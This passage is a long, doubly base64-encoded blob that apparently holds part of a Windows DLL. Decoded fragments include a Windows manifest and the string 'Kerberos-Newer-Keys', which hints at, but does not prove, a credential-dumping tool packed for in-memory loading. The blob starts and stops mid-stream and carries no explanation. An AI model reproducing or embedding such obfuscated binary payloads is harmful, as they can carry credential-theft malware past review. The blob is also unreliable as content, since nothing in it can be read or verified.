BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlnQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWlBQUFBSUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQUFBQURBQUFBQWdBQUFELy8vLy8yTm9ERUFFQUFBQUFBQUFBQVFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBK0FFR0VBQUFBQUFBQUFBQUFBQUFBUGdCQmhBQUFBQUFBQUFBQUFBQUFBRDRBUVlRQUFBQUFBQUFBQUFBQUFBQStBRUdFQUFBQUFBQUFBQUFBQUFBQVBnQkJoQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR0FIQmhBQUFBQUFBQUFBQUZqZEF4RFkzZ01RR05FREVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURnQkJoQXdCUVlRUXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRC8vLy8vQUFBQUFBQUFBQUFBQUFBQWdBQUtDZ29BQUFEUzF3TVFBUUlFQ0tRREFBQmdnbm1DSVFBQUFBQUFBQUNtM3dBQUFBQUFBS0dsQUFBQUFBQUFnWi9nL0FBQUFBQkFmb0Q4QUFBQUFLZ0RBQURCbzlxaklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ2Y0QUFBQUFBQUJBL2dBQUFBQUFBTFVEQUFEQm85cWpJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdmNEFBQUFBQUFCQi9nQUFBQUFBQUxZREFBRFBvdVNpR2dEbG91aWlXd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFnZjRBQUFBQUFBQkFmcUgrQUFBQUFGRUZBQUJSMmw3YUlBQmYybXJhTWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBZ2RQWTN1RDVBQUF4Zm9IK0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRQUFBQUFBQUFJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVlXSmpaR1ZtWjJocGFtdHNiVzV2Y0hGeWMzUjFkbmQ0ZVhvQUFBQUFBQUJCUWtORVJVWkhTRWxLUzB4TlRrOVFVVkpUVkZWV1YxaFpXZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVBQUFBQUFBQUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWVdKalpHVm1aMmhwYW10c2JXNXZjSEZ5YzNSMWRuZDRlWG9BQUFBQUFBQkJRa05FUlVaSFNFbEtTMHhOVGs5UVVWSlRWRlZXVjFoWldnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFVR0VQNy8vLzh1QUFBQUxnQUFBRmdIQmhBUUtBWVFFQ2dHRUJBb0JoQVFLQVlRRUNnR0VCQW9CaEFRS0FZUUVDZ0dFQkFvQmhCL2YzOS9mMzkvZjF3SEJoQVVLQVlRRkNnR0VCUW9CaEFVS0FZUUZDZ0dFQlFvQmhBVUtBWVEvdi8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdNREF3TURBd01EQUFBQUFBQUFBQUIxbUFBQUFBQUFBQUFBQUFBQUFBQUFHaUJONHRaUDBSR2oyZ0FBK0hXdURlQUlCaERnQ0FZUTZBZ0dFT2dJQmhEd0NBWVE4QWdHRUFnQUNRQ296QVFRQVFJQUFBY0FBQUFBQWdBQUJ3QUFBQWdDQUFBSEFBQUFCZ0lBQUFjQUFBQUhBZ0FBQndBQUFPdnI2K2tJQVVCMUtBb0FBQVFBQUFEc0NRWVFBQUFBQUFBQUFBRDUvLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBY0JjQUFBVUFBQUFVQ2dZUUFBQUFBQUFBQUFBREFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFzQjBBQUFjQUFBRHdDUVlRQUFBQUFBQUFBQUFGQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNBRkFBQUFQaGVzSlFBK0VDQUJBQUFBUGhRQ1E2UUFBQ0FGQUQ0VUFBQUQyUnh3Q2RRQUFBUFpESEFKMUFBQUFDQUJBRDRVQUFBQUFBQUFBY0JjQUFBVUFBQURFQ3dZUUFRQUFBQ2dKQmhBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE4Q01BQUFVQUFBQUVDZ1lRQVFBQUFDZ0pCaEFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWdDVUFBQVVBQUFBTUNnWVFBUUFBQUNnSkJoQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBU0NZQUFBVUFBQUFFQ2dZUUFRQUFBQ2dKQmhBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLQW9BQUFRQUFBQXNDUVlRQVFBQUFDa0pCaEQ3Ly8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWNCY0FBQVVBQUFEOENRWVFBZ0FBQVBnSkJoQURBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBc0IwQUFBY0FBQURrQ1FZUUFnQUFBUGdKQmhBRkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE5a0VnQW5VQUFBQXp3TUlFQUFBQUFEUEVVSTFFSkNCa293QUFBQUNMK1l2Q0JBQUFpL0dMVFFqb0FBQXp4SWxFSkJCVFZsZWhBQUNMLzFXTDdGYUw4WXROQ09nenhGQ05SQ1FvWktNQUFBQUFpM1VNaVVYa2kzMElpWDBvQ2dBQUNBQUFBQmdNQmhBRkFBQUF6QXNHRU96Ly8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQndGd0FBREFBQUFQd0xCaEFEQUFBQTVBc0dFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDd0hRQUFCZ0FBQU9nTEJoQURBQUFBNUFzR0VQVC8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUR3SXdBQUVBQUFBQWdNQmhBREFBQUFpQTBHRU4vLy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FKUUFBRUFBQUFOUUxCaEFEQUFBQTVBc0dFT0QvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCSUpnQUFDZ0FBQVBBTEJoQURBQUFBNUFzR0VPTC8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURDQ0FBQXgwWDhBd0FBd09rUUFCSUFVRWNFRU9zRUFBRE9EZ0FBQ0FBQUFJd05CaEFCQUFBQUtna0dFUGIvLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBMkFEZ0FSRWdFRU1aQUlnQ0xBQUFBSWdBa0FHUkhCQkFnQUNJQUFFZ0VFQUFBQUFBb0NnQUFCUUFBQU9RTkJoQUNBQUFBbkEwR0VQai8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUR3SXdBQUJRQUFBT1FOQmhBQ0FBQUFuQTBHRVBULy8vOEFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FKUUFBQlFBQUFPUU5CaEFDQUFBQW5BMEdFUGovLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCSUpnQUFCUUFBQU9RTkJoQUNBQUFBbkEwR0VQai8vLzhBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFlQUNBQUpFZ0VFQXdBRGdBTVNRUVFrSkFBQVA5MUZJdFZFSXROQ09nQUFQOTFGUDkxRVA5MUNPZ2tBQUFBQUFDTC8xV0w3UDkxRlA5MUVQOTFDT2dBU3dCbEFISUFZZ0JsQUhJQWJ3QnpBQzBBVGdCbEFIY0FaUUJ5QUMwQVN3QmxBSGtBY3dBQUFBY0FkVHBvQUFBQUtBb0FBQVVBQUFCWUR3WVFBZ0FBQUFBUEJoQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFNUUpBQUFQQUFBQUlBOEdFQUFBQUFBQUFBQUFBQUFBQUFVQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlnVEFBQU9BQUFBRUE4R0VBQUFBQUFBQUFBQTEvLy8vd1VBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFmQUFBS0FBQUFrQkFHRUFBQUFBQUFBQUFBMWYvLy93VUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMZ2tBQUFLQUFBQUJBOEdFQUFBQUFBQUFBQUEyZi8vL3dVQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVA5MUNJdE5GSXRWRU9nQUFJdi9WWXZzZ2V5VUFBQUFVNUNRQUFBQUFBQUFzQjBBQUF3QUFBQ2NFQVlRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQThDTUFBQXNBQUFCMEVRWVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBU0NZQUFBOEFBQUJrRVFZUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFpLzlWaSt5RDVQaUQ3SHhUVmxlSkFJdi9WWXZzZytUNGcreDhBQ2dLQUFBRUFBQUF0QklHRUFJQUFBQ29FQVlRQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFIQVhBQUFKQUFBQWpCSUdFQTBBQUFDWUVnWVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUxBZEFBQUlBQUFBaEJJR0VBd0FBQUNvRWdZUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSUFsQUFBSUFBQUFjQklHRUF3QUFBQjRFZ1lRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFEdUJJQU1BQUErRXg0RWdBd0FBLy8vL2Y1Q1FPNFlnQXdBQUQ0UTdrU0FEQUFCZUQ0UUFBQURIZ1NBREFBRC8vLzkvWHBDUUFBQUF4NFlnQXdBQS8vLy9mNUNRZy9nQ2YzVWVnMzhFQWcrRWkwTUVnL2dCZEFCMUY0Ti9CQUowQUNnS0FBQUhBQUFBd0JJR0VBRUFBQURyQ1FZUUJnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSEFYQUFBSUFBQUF3Qk1HRUFFQUFBRHJDUVlRQndBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQQWpBQUFJQUFBQXVCSUdFQUVBQUFEckNRWVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVnbUFBQUhBQUFBeUJJR0VBRUFBQURyQ1FZUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSWxOR0lObEdBRjFoTUIxQjJwbjZBQ0V3SFJFYWdob0FDVUNBTUJJcGdFUVc2WUJFR29DYWhCb0FBQUFBQUFBQUhBWEFBQUZBQUFBNUJNR0VBQUFBQUFBQUFBQUJRQUFBTFQvLy8vci8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUEFqQUFBRkFBQUE1Qk1HRUFBQUFBQUFBQUFBQlFBQUFMdi8vLy91Ly8vL0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQWxBQUFGQUFBQTVCTUdFQUFBQUFBQUFBQUFCUUFBQUxILy8vL3EvLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVnbUFBQUZBQUFBNUJNR0VBQUFBQUFBQUFBQUJRQUFBTEgvLy8vcS8vLy9BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ1VDQU1CVFZvMUZtRkM1QUl0RkZJUEFHRkM1QUtzendMOEFBQUFBQUFBQXpnNEFBQWNBQUFEa0ZBWVFBQUFBQUFBQUFBQUhBQUFBTFFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBY0JjQUFBZ0FBQURzRkFZUUFBQUFBQUFBQUFBSUFBQUFMd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFXVFBTaUJCQVNYWEVDUUFBQlFBQUFQUVVCaEFBQUFBQUFBQUFBUHovLy8veS8vLy9CUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEN3QUFDQUFBQUhnVkJoQUFBQUFBQUFBQUFCc0FBQUQ4Ly8vL0RBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNJRXdBQUJBQUFBT0FXQmhBQUFBQUFBQUFBQUNJQUFBQUVBQUFBRkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQkFId0FBQmdBQUFPUVdCaEFBQUFBQUFBQUFBQ1FBQUFBR0FBQUFFUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDNEpBQUFCZ0FBQUt3V0JoQUFBQUFBQUFBQUFCOEFBQUFHQUFBQUVnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJxRkZtTDBiZ0FBRUJVQlJBQUFBQUFBQUFBQUV4dUJSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFhaFJadUdvVVdvdnl1UUFBaVhrRWlUai9CTFdKY1FTSk1JMEV2ZjlRRUlYQUQ0UUFpWGtFaVRpTkJMVUFBQUFBS0FvQUFBY0FBQUQ4RmdZUUFBQUFBQUFBQUFBWUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF6ZzRBQUFnQUFBRDBGZ1lRQUFBQUFBQUFBQUQxLy8vLzFmLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQWNCY0FBQWdBQUFEMEZnWVFBQUFBQUFBQUFBRDEvLy8vMXYvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOENNQUFBZ0FBQUFFRndZUUFBQUFBQUFBQUFEcy8vLy96Zi8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF1Q1FBQUFnQUFBRHNGZ1lRQUFBQUFBQUFBQURzLy8vL3ovLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVNDWUFBQWdBQUFEc0ZnWVFBQUFBQUFBQUFBRHcvLy8vMC8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUkxRRkVEbkVBUkFCQUFBQWNFRUZFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURjdEFRUUFBQUFBQUFBQUFERXp3VVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTnkwQkJBQUFBQUFBQUFBQUhCQkJSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnS0FBQUVBQUFBdEJrR0VBQUFBQUFBQUFBQS9QLy8vd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFmQUFBS0FBQUF1QmtHRUFBQUFBQUFBQUFBOFAvLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFMZ2tBQUFFQUFBQXRCa0dFQUFBQUFBQUFBQUEvUC8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURQQVFLT0w4SUgrekFZQUFBK0VBQUJvemdRUUdjZ0JFQUVBQUFDTTBBVVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRmVMT0ZCb0FBQUE2dzlxQVZkVzZBQlRpeGhRVmdBQUFGYUxNRkJYQUFBQUtBb0FBQWNBQUFENEdRWVFBQUFBQUFBQUFBRDgvLy8vQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBemc0QUFBY0FBQUQ0R1FZUUFBQUFBQUFBQUFEOC8vLy9BUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFjQmNBQUFVQUFBQUFHZ1lRQUFBQUFBQUFBQUQxLy8vL0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQXNCMEFBQVVBQUFBQUdnWVFBQUFBQUFBQUFBRDEvLy8vQXdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBOENNQUFBVUFBQUR3R1FZUUFBQUFBQUFBQUFEeS8vLy9CQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFnQ1VBQUFVQUFBQUlHZ1lRQUFBQUFBQUFBQUR4Ly8vL0JBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVNDWUFBQVVBQUFBSUdnWVFBQUFBQUFBQUFBRHgvLy8vQlFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUxFRkVFeldBUkFBQUFBQUFOUUZFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNMRmpsUkpIVUlBR2l3QlJCYjF3RVFBUUFBQUhCQkJSQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFwTEVGRUszYUFSQUJBQUFBUEdvRkVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRHdJd0FBQndBQUFPQWJCaEFBQUFBQUFBQUFBUGovLy84QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFLQW9BQUFjQUFBQzhIQVlRQUFBQUFBQUFBQUFNQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhFTnlaRUgvRlFBa3NRVVEwTnNCRUFFQUFBREUxUVVRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnS0FBQUlBQUFBcEIwR0VBQUFBQUFBQUFBQUNBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBUEFqQUFBRUFBQUFzQjBHRUFBQUFBQUFBQUFBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFJQWxBQUFFQUFBQXJCMEdFQUFBQUFBQUFBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUl2L1ZZdnNVVmEraS85WHY0di9VN3Vvc0FVUTF0d0JFQUVBQUFEWTFRVVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSFFZaTAwSWl4RUFkQkdMQ3psT0VBQW9DZ0FBQndBQUFPQWRCaEFBQUFBQUFBQUFBUHIvLy84a0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFET0RnQUFCd0FBQU9BZEJoQUFBQUFBQUFBQUFQci8vLzhjQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJ3RndBQUJ3QUFBT2dkQmhBQUFBQUFBQUFBQVByLy8vOGdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRKQUFBQndBQUFDUWZCaEFBQUFBQUFBQUFBUHovLy84Z0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCSUpnQUFCd0FBQUJ3ZkJoQUFBQUFBQUFBQUFQci8vLzhnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUIwRllzUE9VNFFBSFFWaXdvNVRoQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVBR0FBQUFCZ0FBSUFBQUFBQUFBQUFBQUFBQUFBQUFBRUFBZ0FBQURBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFFQUNRUUFBRWdBQUFCZ01BWUFKQUlBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUR2dTc4OFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSlZWRVl0T0NJZ2MzUmhibVJoYkc5dVpUMGllV1Z6SWo4K0RRbzhZWE56WlcxaWJIa2dlRzFzYm5NOUluVnlianB6WTJobGJXRnpMVzFwWTNKdmMyOW1kQzFqYjIwNllYTnRMbll4SWlCdFlXNXBabVZ6ZEZabGNuTnBiMjQ5SWpFdU1DSStQSFJ5ZFhOMFNXNW1ieUI0Yld4dWN6MGlkWEp1T25OamFHVnRZWE10YldsamNtOXpiMlowTFdOdmJUcGhjMjB1ZGpNaVBqeHpaV04xY21sMGVUNDhjbVZ4ZFdWemRHVmtVSEpwZG1sc1pXZGxjejQ4Y21WeGRXVnpkR1ZrUlhobFkzVjBhVzl1VEdWMlpXd2diR1YyWld3OUltRnpTVzUyYjJ0bGNpSWdkV2xCWTJObGMzTTlJbVpoYkhObElqNDhMM0psY1hWbGMzUmxaRVY0WldOMWRHbHZia3hsZG1Wc1Bqd3